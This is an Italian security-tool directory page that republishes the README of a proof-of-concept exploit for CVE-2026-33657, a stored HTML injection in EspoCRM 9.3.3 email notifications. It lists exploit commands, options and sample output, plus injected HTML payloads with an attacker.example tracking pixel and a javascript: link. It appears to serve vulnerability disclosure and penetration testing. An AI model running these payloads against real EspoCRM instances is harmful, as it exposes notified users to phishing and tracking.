Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-33657 — EspoCRM 9.3.3 - Iniezione HTML Memorizzata nelle Notifiche Email | Kitploit
Strumenti/GitHubGitHub/entrovyx/cve-2026-33657
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration Testing
GitHubentrovyx/cve-2026-33657

CVE-2026-33657

EspoCRM 9.3.3 - Iniezione HTML Memorizzata nelle Notifiche Email

Vedi Repository
3 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-33657 - Iniezione HTML Memorizzata in EspoCRM 9.3.3 nelle Notifiche Email

Proof-of-concept autenticato per l'iniezione HTML memorizzata nelle notifiche email di EspoCRM 9.3.3.

Riepilogo

EspoCRM 9.3.3 genera le email di notifica dei post dello stream trasformando il corpo della nota con Markdown e inserendo l'HTML risultante nei template email con triple parentesi graffe ({{{post}}}). Un utente autenticato che può creare un post nello stream e attivare una notifica può memorizzare HTML controllato dall'attaccante che viene successivamente renderizzato nel corpo dell'email generata.

L'exploit esegue la parte remota controllata dall'attaccante del flusso:

  1. Autenticazione a EspoCRM.
  2. Fingerprinting opzionale della versione con /api/v1/App/user.
  3. Creazione di una Note dannosa contenente HTML.
  4. Utilizzo di --mention o --target-user-id per accodare un destinatario della notifica.
  5. Conferma che il payload è memorizzato e che il destinatario della notifica è presente nella risposta API.

La consegna dell'email avviene quando il normale job SendEmailNotifications di EspoCRM o il cron elabora la notifica accodata.

Versione Affetta

  • Vulnerabile: EspoCRM 9.3.3
  • Corretta: EspoCRM 9.3.4
  • Advisory: https://github.com/espocrm/espocrm/security/advisories/GHSA-8prm-r5j9-j574
  • CVE: CVE-2026-33657
  • CWE: CWE-80

Requisiti

  • Python 3
  • requests
  • Credenziali EspoCRM valide
  • Possibilità di creare record Note nello stream
  • Un destinatario della notifica:
    • --mention <username> per le notifiche email di menzione, oppure
    • --target-user-id <id> per le notifiche mirate dei post dello stream

Installare la dipendenza:

root@kitploit:~
python3 -m pip install requests

Utilizzo

Percorso preferito basato sulla menzione:

root@kitploit:~
python3 CVE-2026-33657.py \
  -u http://127.0.0.1:8083 \
  -U testuser \
  -P 'Admin12345!' \
  --mention admin

Utilizzare un URL di tracking personalizzato:

root@kitploit:~
python3 CVE-2026-33657.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --mention victim \
  --tracking-url https://attacker.example/pixel.gif

Utilizzare un payload HTML completamente personalizzato:

root@kitploit:~
python3 CVE-2026-33657.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --mention victim \
  --payload '<img src="https://attacker.example/p.gif" onerror="alert(33657)"><a href="javascript:alert(33657)">open</a>'

Targetizzare un ID utente specifico invece di una menzione:

root@kitploit:~
python3 CVE-2026-33657.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --target-user-id 0123456789abcdef0 \
  --target-user-name 'Victim User'

Solo fingerprinting, senza creare una nota:

root@kitploit:~
python3 CVE-2026-33657.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --detect-only

Opzioni

root@kitploit:~
-u, --url                 URL base di EspoCRM
-U, --username            Nome utente EspoCRM
-P, --password            Password EspoCRM
--mention                 Nome utente da menzionare, senza @
--target-user-id          ID utente per le notifiche mirate dei post dello stream
--target-user-name        Nome visualizzato per --target-user-id
--payload                 Payload HTML grezzo da memorizzare nella Note
--tracking-url            URL del pixel di tracking utilizzato dal payload predefinito
--link-url                URL del link utilizzato dal payload predefinito
--marker                  Testo del marcatore anteposto al payload
--detect-only             Solo fingerprinting della versione; non creare una Note
--skip-version-check      Salta /api/v1/App/user prima dell'exploit
--force                   Continua anche se il fingerprint della versione non è 9.3.3
--insecure                Disabilita la verifica del certificato TLS

Output Atteso

Un'esecuzione riuscita crea una nota dannosa e conferma il destinatario della notifica:

root@kitploit:~
[*] /api/v1/App/user: HTTP 200
[*] Versione rilevata: 9.3.3
[+] Il fingerprint della versione è vulnerabile: EspoCRM 9.3.3.
[*] Creazione della Note dannosa come testuser
[*] Risposta Note: HTTP 200 ...
[+] Payload dell'exploit memorizzato nel post della Note.
[+] ID Note: 69fddeef8db756271
[+] Menzione analizzata: @admin -> ID utente 69fdcfb66c34ccb81
[+] Elenco destinatari della notifica restituito dall'API: 69fdcfb66c34ccb81
[+] Trigger remoto completo inviato.

Su un'istanza vulnerabile, il corpo dell'email HTML generata preserva l'HTML iniettato. Una cattura di laboratorio appare così:

root@kitploit:~
<img src="http://attacker.example/full-process.gif" width="1" height="1" onerror="alert(33657)">
<a href="javascript:alert(33657)" style="color:red">re-auth</a>

Verifica di Laboratorio

In un laboratorio EspoCRM locale, dopo aver eseguito l'exploit, attivare il job di notifica:

root@kitploit:~
sudo -u www-data php command.php run-job SendEmailNotifications

Il corpo dell'email risultante dovrebbe contenere l'HTML iniettato nella parte text/html.

Note

  • L'exploit non richiede accesso shell al target; l'accesso shell è utile solo per la verifica locale in laboratorio del job email accodato.
  • Se l'API riporta @@version, il target è probabilmente una build dell'albero sorgente. Lo script continua perché il codice sottostante potrebbe essere ancora il tag vulnerabile 9.3.3.
  • Se --mention non produce una menzione analizzata, verificare i messagePermission e mentionPermission dell'attaccante e confermare che il nome utente target esista e possa ricevere notifiche.
Scarica lo strumento